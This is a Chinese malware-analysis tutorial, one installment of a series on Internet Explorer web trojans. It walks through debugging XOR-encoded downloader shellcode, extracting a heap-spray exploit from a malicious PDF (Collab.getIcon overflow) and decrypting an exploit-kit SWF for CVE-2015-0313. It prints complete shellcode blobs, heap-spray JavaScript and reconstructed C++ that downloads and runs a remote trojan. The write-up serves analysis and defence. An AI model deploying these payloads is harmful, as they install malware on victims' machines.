IE安全系列:指令碼先鋒(IV)—網馬中的Shellcode
指令碼先鋒系列第四章,也是最後一章。將介紹對Shellcode的除錯,以及SWF、PDF漏洞的利用檔案的簡單處理過程。
下一部分預告:
IE安全系列:中流砥柱(I) — JScript 5 直譯器處理基本型別、函式等的簡單介紹
IE中使用的Javascript解析器經歷了多年的磨練,終於在版本5處分成了兩個大版本,5之後的9,二者的關聯和對一些內容的處理方式的不同之處,這兩篇中,第一篇將對Jscript 5.8引擎中的字處理、函式呼叫等做簡單的介紹。
IE安全系列:中流砥柱(II) — JScript 9(Charka)編譯後位元組碼的簡單介紹
多年磨練之後,Jscript 9的效能得到了很大的提升,9和5處理起一些基本型別資料的區別會在這篇簡要敘述,這篇會有和(I)類似的介紹,只不過是針對Charka的指令碼流程的。 (這個成語,我想大概也能這麼用吧……)
VI.1 除錯Shellcode
上一篇(V.2)中,我們留下了一個全篇使用XOR 0xE2加密的Shellcode,這篇中,我們將使用除錯工具解密它。
escape 之後的SHELLCODE如下:
#!javascript
%u0C0C%u6090%u1CEB%u4B5B%uC933%uB966%u03F8%u3B81%u0BFF%uE160%u850F%u0254%u0000%u3480%uE20B%uFAE2%u05EB%uDFE8%uFFFF%u0BFF%uE160%uE2E2%u86BD%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u8815%uBBED%uC00A%uE2E1%u72E2%u1A00%uD18A%uE2D0%u8AE2%u91B7%u9087%u69B6%uEEA4%u720A%uE2E0%u69E2%u880A%uBBE3%uE00A%uE2E1%u00E2%u8A1B%u8C8D%uE2E2%u978A%u8E90%uB68F%uF41D%u2267%uF197%u8D8A%uE28C%u8AE2%u9097%u8F8E%u69B6%uEEA4%u820A%uE2E0%u69E2%u880A%uBBE3%u300A%uE2E0%u00E2%u8A1B%uD18E%uE2D0%u918A%u878A%uB68E%uA469%u0AEE%uE0A3%uE2E2%u0A69%uE388%u0ABB%uE051%uE2E2%u1B00%u0E63%uE3E2%uE2E2%u3E69%u2163%uE262%uE2E2%uE288%uF888%u88B1%u1DE2%uA6B4%u22D1%u62A2%uE1DE%u97E2%u6B1B%u7264%uE2E2%u25E2%uE1E6%u83BE%u87CC%uA625%uE6E1%u879A%uE2E2%u2BD1%uB3B3%uB5B1%uD1B3%u6922%uA2A4%u0C0A%uE2E3%u61E2%uE21A%u67ED%uE37E%uE2E2%uE288%uE288%uE188%uE288%uE088%uE28A%uE2E2%uB122%uA469%u0AC6%uE32F%uE2E2%u1A61%uED1D%u9966%uE2E3%u6BE2%u82A4%uE288%u1DB2%uCAB4%uA46B%u6986%u7264%uE2E2%u25E2%uE1E6%u80BE%u87CC%uA625%uE6E1%u879A%uE2E2%uE288%uE288%uE088%uE288%uE288%uE28A%uE2E2%uB1A2%uA469%u0AC6%uE369%uE2E2%u1A61%uED1D%uDB66%uE2E3%u6BE2%u6664%uE2E2%u6BE2%u6E7C%uE2E2%u69E2%u82A4%uE288%uE288%uE288%uA469%uB282%uB41D%u25DA%u92A4%uE2E2%uE2E2%uA425%uE296%uE2E2%u63E2%uE225%uE2E0%uD1E2%u6939%u86BC%uE288%uA46F%uB292%uE28A%uE2E6%uB5E2%u941D%u1D82%uE6B4%u2BD1%uE25B%uE2E6%u62E2%uED9E%u771D%uEE96%u9E62%u1DED%u96E2%u62E7%uED96%u771D%u0900%u2169%uE2CF%uE2E6%u61E2%uE21A%uE19D%uBC6B%u8892%u6FE2%u96A4%u1DB2%u9294%u1DB5%u6654%uE2E2%u1DE2%uD2B4%u0963%uE6E2%uE2E2%u1961%u9DE2%u1D47%u8294%uB41D%u1DD6%u6654%uE2E2%u1DE2%uD6B4%u6469%uE272%uE2E2%u7C69%uE26E%uE2E2%uE625%uBEE1%uCC83%uB187%uB41D%u69CE%u6E5C%uE2E2%u69E2%u7264%uE2E2%u25E2%uE5E6%u80BE%u87CC%u0E63%uE3E2%uE2E2%u3E69%uE28A%uE2E3%uB1E2%uE28A%uE2E3%uB5E2%uE288%uE288%uB41D%u69FE%uD119%uD122%u6339%uE20E%uE2E0%u69E2%u612E%uB61A%uEA9F%uFE6B%u61E3%uE622%u1109%u2E69%u3B69%u2161%uD1F2%uB222%uB1B3%uB2B2%uB2B2%uB2B2%uB2B5%u69B2%uEAA4%u650A%uE2E2%u63E2%uFA26%uE2E6%u83E2%uA425%uE1F6%uE2E2%uD1E2%u692B%uC6DE%u0D61%u6194%uEA26%u2BD1%u051D%uE288%uB41D%u86F6%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u6B15%u86B4%uE688%u0ABB%uE241%uE2E2%u0072%u8A1A%uD0D1%uE2E2%uB78A%u8791%uB690%uE469%uF00A%uE2E2%u69E2%u880A%uBBE7%u660A%uE2E2%u00E2%uD11B%uB51D%uB41D%u62E6%u0ADA%uDA62%u970B%u63F3%uE79A%u7272%u7272%uEA96%u1D69%u69B7%u6F0E%uE7A2%u021D%uDA0A%uE2E2%u21E2%uDA62%u620A%u0BDA%uF397%u9A63%u72E7%u7272%u9672%u8A05%uE8EA%uE2E2%uA26F%u1DE7%u0A02%uE2F5%uE2E2%u0A21%uE2F3%uE2E2%uF35A%uE6E3%u2062%uE2EE%uE009%u21BA%u1B0A%u1D1D%uB91D%uE524%u6B5A%uE3BD%u2584%uE7A5%u021D%uB121%u3E69%u88B1%u8AA2%uF2E2%uE2E2%u69B5%uC2A4%u640A%u1D1D%uBA1D%uB321%u69B4%uDE97%u9669%u9ACC%u17E1%u69B4%uC294%u17E1%u2BD1%uA3AB%uE14F%uD127%uED39%uF25C%u34D8%uEA96%u2923%uE1E5%uA238%u1309%uFDD9%u0597%u69BC%uC6BC%u3FE1%u6984%uA9EE%uBC69%uE1FE%u693F%u69E6%u27E1%uBC49%u21BB%u9B0A%u1D1E%u501D%u0010%u5016%uEDD4%u12F1%u99AA%uD0DF%u7396%u67EE%u4D3D%u8159%u336B%uB3AD%u58A2%uE59D%uC070%uFC92%u8646%u710D%u06D0%u6C76%uE8F1%u9B4E%u04DB%u267A%uFD6F%uB596%uEF84%uA11D%u4E5C%u7A39%uF2E8%u621A%u4D34%u1978%uF7B1%u8A84%u9696%uD892%uCDCD%u8083%uCC8C%u8C86%uD291%uD7D5%uCCD7%u878C%uCD96%uCD86%u8686%uCC86%u9A87%uE287%uE2E2
將這些Shellcode放到EXE根部,組成一個EXE,見參考資料(1]附件。
警告 如果你直接解壓這個程式,你的防毒軟體可能會報警。這是因為該Shellcode已經被多個防毒軟體作為特徵入庫。請在虛擬環境執行,或者暫時關閉防毒軟體。
CALL 405006
呼叫時,會將其下一條指令的地址壓棧,因此00405006
處的POP EBX
其實獲取到的就是下一條指令的地址。
之後ECX = 0x3F8
的語句其實就是為了告訴下面的LOOP指令要迴圈多少(0x3f8)
次,這也是加密後的字串長度。
然後,下一句意義其實不大,只是為了確保要解密的內容對不對,
緊接著是一個JNZ指令,可以看到OllyDbg之前發生瞭解析錯誤。OD解析為了DB、TEST、DB三條不倫不類的資料+指令的結合,對比IDA的結果可以知道這裡是一個JNZ,實際上跟著CMP,這裡十有八九也是跳轉指令。
選中三行,右鍵選擇analysis - remove analysis from selection,這時就可以恢復正常的語句。
接下來的XOR+LOOP則就是經典的“加密/解密”,一大牛也戲稱中國三大加密演算法之一的異或解密。解密金鑰很明顯就是0xe2了。
在LOOP下一行下斷點,可以得到解密後的內容,此時OD還是解析有誤,我們手動選擇0x5033-0x3f8
左右的內容,重複remove analysis的過程即可得到基本正確的程式碼:
處理後:
4053AE
處仍然是一個CALL,會回到40502C
處,上圖中JMP的下一行。為什麼這麼做大家應該很容易理解,和之前一樣,4053AE
之後的一句很可能就是常量值了,而且40502C
處也有POP EDI
的語句。
由於之前我們remove analysis比較多,導致了後面的常量也被當作了程式碼,這個很容易就能發現,因為裡面出現了大量的不明所以的程式碼:
右鍵中選擇Analysis code即可重新分析這塊:
我們假裝什麼都沒看見,繼續除錯這段程式碼。
30、0c、1c、8,這些令人熟悉的數字(不記得了請看上篇最後),可以肯定的知道這裡就是在獲取某個函式地址,其實就是LoadLibrary了,這個肯定是各個Shellcode第一個要做的事情,要不然後續如何開展呢:)。
405369
的CALL即會獲取所需的函式地址。比較字串可能會用掉較多的空間,所以這裡它採用了給函式名取HASH的方式:
即虛擬碼如下:
#!c++
DWORD dwHash;
CHAR chFuncName;
while(chFuncName = szWindowsAPIName++)
{
dwHash += chFuncName;
_ROR(dwHash, 7);
}
在函式名這種大概一個模組就幾百個的東西里面,這個HASH演算法還是可以做到粗略的準確的,
此例中,在這附近就是存著的他們想要拿到的函式的HASH,獲取到函式地址之後會覆蓋掉對應的Hash,可見空間用的還是比較緊湊的:
之後就是簡單的函式跟蹤了,有興趣的話可以自己跟蹤一下,之後該Shellcode的動作我直接寫成C++程式碼了,供參考,獲取函式地址的細節程式碼我就跳過不寫了,不保證可編譯,不過如果要編譯的話簡單修改應該就可以了:
#!c++
HMODULE hModule = LoadLibraryA(“User32”);
GetAddressFromModule(hModule, “GetModuleHandleA”); //自己獲取函式地址的函式,沒用系統的GetProcAddress,估計為了省字串的長度,這裡事實上還是用的Hash,為了方便閱讀這麼寫了
if(GetModuleHandleA(“urlmon”) == NULL)
{
hModule = LoadLibrary(“urlmon”);
}
GetAddressFromModule(hModule, “URLDownloadToFileA”);
hModule = LoadLibraryA(“shell32”);
GetAddressFromModule(hModule, “SHGetSpecialFolderPathA”);
CHAR buffer[MAX_PATH];
SHGetSpecialFolderPathA(0, buffer, 0x1a, 0); //APPDATA
strcat(buffer + strlen(buffer), “\a.exe”);
do
{
if (URLDownloadToFileA(0, MALICIOUS_URL, buffer, 0, 0) == S_OK)
{
//這個URL訪問不了了,所以必然不是S_OK,執行完以後手動置EAX為0,然後隨便複製個EXE去%appdata%\a.exe吧,要不然後面除錯起來會比較蛋疼
HANDLE hFile = CreateFileA(buffer, 0xc0000000, 2, 0, 3, 0, 0 );
if(hFile != INVALID_HANDLE)
{
DWORD dwFileSizeLo = GetFileSize(hFile, 0);
CHAR buffer_otherone[1024];
buffer[strlen(buffer) - 5] = ‘b’; //實際上操作語句不是這樣,不過最後結果一樣,簡單寫好了
HANDLE hFile2 = CreateFileA(buffer, 0x40000000, 0, 0, 2, 0, 0);
if(hFile2 == INVALID_HANDLE) break;
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
DWORD dwPos = 0;
while(dwPos < dwFileSizeLo)
{
ReadFile(hFile, buffer_otherone, 1024, dwBytesRead, NULL);
dwPos += 1024;
for(int i=0; i<1024; ++i)
{
if(buffer_otherone[i] != 0 && buffer_otherone[i] != 0x95)
buffer_otherone[i] ^= 0x95;
}
//事實上木馬下載回來的檔案是0x95異或過的,只是為了防殺,所以這裡為了保證它能正常執行,還需要這一步給它解回來
WriteFile(hFile2, buffer_otherone, 1024, 0, 0);
}
CloseHandle(hFile);
CloseHandle(hFile2);
buffer[strlen(buffer) - 5] = ‘a’; //實際上操作語句不是這樣,不過最後結果一樣,簡單寫好了
DeleteFileA(buffer);
buffer[strlen(buffer) - 5] = ‘b’;
WCHAR bufferw[256];
MultiByteToWideChar(buffer, CP_ACP, 0, buffer, 256, bufferw, 256);
CreateProcessInternalW(0,0, bufferw, 0, 0, 0, 0); //啟動木馬
}
}
}while(0);
ExitProcess(0);
MALICIOUS_URL就這玩意,不貼上來了,要不白送別人一個友情連結多不好:
VI.2 Shellcode in PDF
Adobe PDF Reader是一個全球內都廣泛使用的工具,而它又可以在IE中例項化,因此,PDF漏洞也是攻擊者熱衷於挖掘和利用的一個重要部分,而PDF中也允許Javascript的執行,這就更加劇了其安全問題,本節將簡單介紹如何提取PDF中的Shellcode。
關於PDF結構的細節不在這裡過多介紹,以下是一個PDF的很常見的形式,PDF有明顯的“節”(x x obj)和“節”資訊(用雙尖括號包圍),而為了控制PDF的大小,PDF是支援多種壓縮方式的,一種方式是zlib演算法的壓縮,這種方式壓縮的節顯示如下,可以從FlateDecode來區分出來。
在stream-endstream之間的就是壓縮後的內容,還有個特徵是這段內容的第一個字是“x”。
當然,PDF也是支援明文存放的甚至於直接內部執行JS,例如:
16 0 obj - endobj
中間的就是js指令碼。
針對PDF的解析可以參考我之前放出來的Redoce工具,可以針對性地對壓縮過的部分進行解壓,例如圖中這節壓縮內容解壓後明顯是垃圾資訊,因此可以跳過:
附件中的例子有惡意程式碼的部分是明文存放的,因此要對它的程式碼進行閱讀和Shellcode的抽取應該是相當簡單的。
還有一點是PDF中的JS並不是多“標準”,有個明顯的特徵是它的內容會經過一層編碼,例如上圖\全部被編碼成了\,工具可以做簡單清理,如上圖所示。
其實清理之後,留下來了很多\”,雖然不會產生語法錯誤,不過看起來還是很彆扭,也可以手動再把這些\都刪掉。還有開頭的例如(?function ...需要手動刪除成(function ...。
清理完的程式碼見附件malicious_VI.rar 的 pdf.js.txt。
簡單地閱讀一下程式碼,雖說一眼就能看出來awn5fmmtY 這個變數就是Shellcode,和、至少是它的絕大部分,但是還是看一看吧:
一番閱讀之後,可以發現這裡使用了app[’eval’](xxxx)
,正如你所見,不是他替換了什麼東西,而是PDF中的eval函式實際上是屬於app物件的,而不是window物件。具體可以參照參考資料2,Adobe的開發資料。
最終執行的就是這麼一段
為了不讓圖太大,我把字號縮小了,具體可參照附件。
這一段中,採用了awn5fmmtY = unescape(awn5fmmtY.join(""));
的方式將這個Array輸出成一個字串。然後就是簡單的堆噴過程,
我們手動改一下變數就能看的很清楚了:
#!c++
var fK2iJohU = 0x400000;
var mTcRGdIAFp = awn5fmmtY.length * 2;
var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);
var sR4ZJ8w7ci = unescape("%u9090%u9090");
sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);
var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;
for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++)
{
rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;
}
改為方便人閱讀的程式碼就是:
#!c++
var arr = new Array();
var blockSize = 0x400000;
var shellcodeSize = shellcode.length * 2;
var spraySize = blockSize - (shellcodeSize + 0x38);
var nops = unescape("%u9090%u9090");
nops = extendStrForXXTimes(nops, spraySize);
var sprayTarget = 0x0c0c0c0c;
var fillTimes = (sprayTarget - 0x400000) / blockSize;
for(var i = 0; i < fillTimes; i++)
{
arr[i] = nops + shellcode;
}
如何,上述程式碼是否非常眼熟?對了,隨便找一個堆噴的js程式碼都是如此。這個PDF實際上是利用了PDF的app.doc.Collab.getIcon()
函式的溢位漏洞,該函式沒有對檔名長度進行檢查,直接複製進了緩衝區,是一個經典的溢位漏洞。利用時檔名需要加上特定的表示,例如下圖中N.doc,否則無法走入有漏洞的部分。Adobe JavaScript中使用堆噴在當時效果非常穩定:
具體細節網上有分析過程,在此不提了,Shellcode可以簡單看一下。
提取出來的shellcode如下:
#!c++
%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7500%u6470%u7461%u2e65%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u692f%u6b6e%u616b%u2e6b%u6e63%u652f%u746e%u7265%u752f%u6470%u7461%u2e65%u6870%u3f70%u6469%u333d%u7226%u7465%u6f3d%u006b%u9000
透過簡單處理可以看到就是簡單的URLDownloadToFile
,由於這裡%u0000
不會影響流程,所以支援帶0的shellcode使得它的體積縮小了很多。簡單除錯一下吧。將shellcode附著到exe之後(附件malicious2.exe.txt)。
程式碼十分簡單:
首先PUSHAD PUSHFD,然後使用POP EBP,SUB EBP,0D來構造一個棧幀。
接著又是常見的fs:30、0c、1c、8、34這些常見的值,後面的內容不言自明,我們可以鍛鍊一下靜態閱讀,具體動作如下:
也即跟著查詢GetTempPathA(ebp+15e)等等函式的地址並儲存在ebp+14e處。
然後,還是上圖,就可以知道0x405053處的call實際上就是call了GetTempPathA,在此獲得臨時目錄位置,接下來
此處LoadLibrary EBP+245
處的內容(URLMON.dll
),然後並GetProcAddress
獲取EBP+250處的函式地址(URLDownloadToFileA
),並最終呼叫URLDownloadToFileA
,下載的檔案是EBP+278
處的URL,儲存到EBP+15E
處(%temp%\update.exe
):
並在此呼叫EBP+15E的函式(WinExec)執行下載回來的程式:
然後再次獲取Temp目錄的地址,重複之前的步驟,只不過下載到的是%temp%\crash.php
,並再次呼叫WinExec執行,POPFD POPAD
,退出程式。
這個Shellcode的主要作用就是下載者了,因此到這裡也算是完美的完成了任務了。讓我們再看看它的親戚:SWF。
VI.3 Shellcode in SWF
如上一節所說,SWF憑藉著目前網上最為流行的多媒體互動程式Adobe Flash Player,SWF的使用者量只會比難兄難弟PDF的大而不會小,而SWF的漏洞高發,導致了SWF也稱為了漏洞利用者心目中的明星。針對SWF的反編譯,可以依賴於Eltima Software的Flash Decompiler Trillix,或者其他能弄成AS檔案的都可以。
單從SWF自身來說,它的壓縮模式常見的兩種,檔案頭是CWS的表示使用了壓縮,也是zlib演算法,FWS的表示沒有壓縮過。
我的工具中也提供了對SWF的自動解壓,由於有些網馬會把URL明文存放,所以處理後還是可以方便病毒研究者來抓出URL的,如下圖:
接下來可以閱讀SWF的Action Script了,與之相關的書籍可以參考《ActionScript 3.0 Bible》,這是一本介紹十分詳細的工具書,或者其他你手頭可以讓你迅速看懂AS的資料也可。
附件中malicous3.swf.txt是CVE-2015-0313 的利用檔案,該漏洞是Flash Player的一個UAF問題,具體細節網上有很多了,這裡我們還是針對SWF到AS的過程做一些解釋:
使用Flash Decompiler Trillix載入該swf檔案。
可以看到AS指令碼中有三個類,這個SWF檔案抓取自使用AEK ,AEK提供給別人用的東西都是高度混淆的,這裡面也不例外,可見各個類的名字就已經被混淆過了。
一個小問題是AEK是漏洞工具包,或者白話點就是賣給別人用來坑其他人的軟體,不是漏洞名。國內的一個軟體曾經提示了AEK是漏洞,其實是不正確的,具體名字我也就不截圖了:
AS3.0中會使用Worker物件,Worker物件間也可以共享物件3,漏洞程式碼透過觸發在主執行執行緒和worker間共享的MessageChannel屬性中的漏洞來執行。主要是三步:
- 透過setSharedProperty把一個ByteArray物件設定為共享屬性
- 把這個ByteArray設定到domainMemory中
- worker呼叫getSharedProperty獲取這片記憶體,然後呼叫
ByteArray::Clear
清空它。Clear之後,domainMemory並沒有將記憶體置空,從而導致了UAF的存在。
然後,讓我們先閱讀一下SWF程式碼:
#!c++
In &.as:
private static var 5:&;
5 = new &();
這裡的邏輯是如此連上的,所以“5”可以看作是class “&”的例項。
由於class &::&()
中設定了this.4 = "BAPO6SgZH....”;
因此,
函式7()中事實上loc1的值就是經過函式’()處理後的this.4後面這一串字元了,
函式’()的定義如下:
不過這麼看實在是太痛苦了,而且由於這個混淆使得Adobe Flash Professional CS5的著色也發生了混亂,因此讓我們手動替換一下里面的值。
首先簡單閱讀一下’(),知道它是某種解密函式,因此我直接把它換成decode();
然後針對常量也做類似的簡單閱讀-替換:
最終得到:
這樣程式碼看起來就要方便得多了,不用在想這一堆亂七八糟的代號是什麼了。使用檢查語法錯誤功能,檢查完畢後就可以執行這段程式碼讓它自己吐處理結果了。
新建一個AS工程,把指令碼粘進去。
然後在對應位置加上trace,decode返回的是類BASE64解後的結果,該SWF在這段程式碼:
#!c++
while (i < myDecodedStr.length)
{
n = n + 1 & 255;
loc6 = (myByteArray[n] & 255) + loc6 & 255;
loc10 = myByteArray[n];
myByteArray[n] = myByteArray[loc6];
myByteArray[loc6] = loc10;
loc9 = (myByteArray[n] & 255) + (myByteArray[loc6] & 255) & 255;
myDecodedStr[i] = myDecodedStr[i] ^ myByteArray[loc9];
++i;
}
執行完之後輸出的內容就是解密後的了,其實仔細看的話它就是個RC4。
Ctrl+Enter後卡了小一陣子,執行得到結果:
結果輸出又是一個SWF檔案,真是讓人頭疼的事情,使用FileReference類即可(import flash.net.FileReference;
)
然後儲存後的就是解密後的內容。對這個swf再做一個分析,如果Flash Decompiler一分析那個SWF就崩潰的話,這個時候可以換個其他類似工具,例如FFD
開啟後可以看到類名點點槓槓的好不歡樂,AEK的加密已經喪心病狂到把它認為所有有可能威脅到自己的程式碼全部RC4加密放到了二進位制資料中,使用時現場取出解壓。
眼睛都看花了,閱讀過程太過痛苦,就貼一下具體內容吧,
這裡的邏輯是:如果沒解密的話解一下(if (!_a_-___-) _a-_—()
),然後把index異或處理一下,異或的值就是a—。
這個是它的RC4加密的Key,2組金鑰,16位元組一組。
最終此處做ROP並且使用Shellcode,參考資料(5]也是解了類似的SWF檔案,其中的RC4解密程式碼大家可以借鑑一用。
解出來的Shellcode使用的程式碼很簡單,和上一節類似,會用WinHTTP的相關函式訪問網址並用XXTEA解密:
如果是Shellcode ,直接執行;
如果是DLL,下載並呼叫regsvr32 /s
來註冊(其實也就是啟動)它。
Shellcode篇章至此結束,限於篇幅和個人能力,肯定還是有很多覆蓋不到的地方,一些實戰內容將在後續章節覆蓋,同時,參考資料4中也有大量的Shellcode可供除錯。
參考資料
(1] 附件 請關閉防毒軟體並在虛擬環境除錯,網馬的Shellcode比較老,EXE除錯環境推薦Windows XP SP3。
(2] http://www.adobe.com/devnet/acrobat/javascript.html
(3] Communicating between workers http://help.adobe.com/en_US/as3/dev/WS2f73111e7a180bd0-5856a8af1390d64d08c-7ffe.html
(4] http://www.expl0it-db.com/
(5] http://www.cnblogs.com/Lamboy/p/4278066.html
相關文章
- IE安全系列:指令碼先鋒(III)--網馬中的Shellcode2020-08-19指令碼
- IE安全系列:指令碼先鋒(II)2020-08-19指令碼
- IE安全系列:指令碼先鋒(I)2020-08-19指令碼
- IE安全系列之——IE中的ActiveX(II)2020-08-19
- IE安全系列之——昨日黃花:IE中的ActiveX(I)2020-08-19
- IE安全系列:IE的自我介紹 (I)2020-08-19
- IE安全系列:IE的自我介紹 (II)2020-08-19
- IE安全系列之——RES Protocol2020-08-19Protocol
- BSI授予中興終端安全隱私合規先鋒獎2022-12-20
- 淺談《守望先鋒》中的 ECS 構架2020-12-11
- 【網路安全】Shell 指令碼學習2024-11-27指令碼
- 【戰碼先鋒】潤和賽道正式開啟,馬上加入贏取雙重大禮!2022-06-17
- 守望先鋒 UI 庫2019-03-15UI
- “人類先鋒”點亮物聯網燈塔2021-09-02
- 2021 中國技術先鋒年度評選啟動,增加新銳技術先鋒企業榜2021-12-17
- 2021 中國開源先鋒 33 人評選啟動,快來推薦你心尖上的開源先鋒吧!2021-12-21
- 畢馬威&先鋒領航投顧:2022中國基金投顧藍皮書(附下載)2022-02-16
- 數字先鋒 | 部委入口網站上雲!這樣做!2022-07-20網站
- 2020 中國技術先鋒年度評選的初心和起源2020-11-28
- IE安全系列之——RES Protocol與列印預覽(II)2020-08-19Protocol
- 正在陷入內容枯竭的《守望先鋒》2019-07-08
- 數字先鋒,在希望的田野上2021-08-23
- 權威認可!騰訊雲資料安全中臺入選2021先鋒實踐案例2021-07-16
- 網站有幾種常見的指令碼型別?網路安全學習2020-12-22網站指令碼型別
- 懂你網路系列10之網路安全中的CSRF攻擊2021-09-09
- 數字檔案安全與高效管理的先鋒——亞信安慧AntDB資料庫2024-01-11資料庫
- 騰雲先鋒招新啦!!2021-07-26
- 【Linux】Linux安全加固指令碼2019-05-12Linux指令碼
- 《守望先鋒》中的末日鐵拳是怎麼摧毀玩家體驗的?2020-11-20
- Shellcode2024-06-16
- 網站指令碼語言有哪些優缺點?網路安全入門2020-12-23網站指令碼
- jenkins 禁用指令碼安全性2024-08-18Jenkins指令碼
- 從《守望先鋒》學習關於ECS的概述2024-06-07
- 如何寫出安全又可靠的PHP指令碼2021-09-22PHP指令碼
- CVE-2015-1538漏洞利用中的Shellcode分析2020-08-19
- linux shell指令碼中 =~ 的作用2024-03-04Linux指令碼
- 告別指令碼小子系列丨JAVA安全(6)——反序列化利用鏈(上)2022-06-24指令碼Java
- IE安全系列之:中流砥柱(I)—Jscript 5處理淺析2020-08-19JS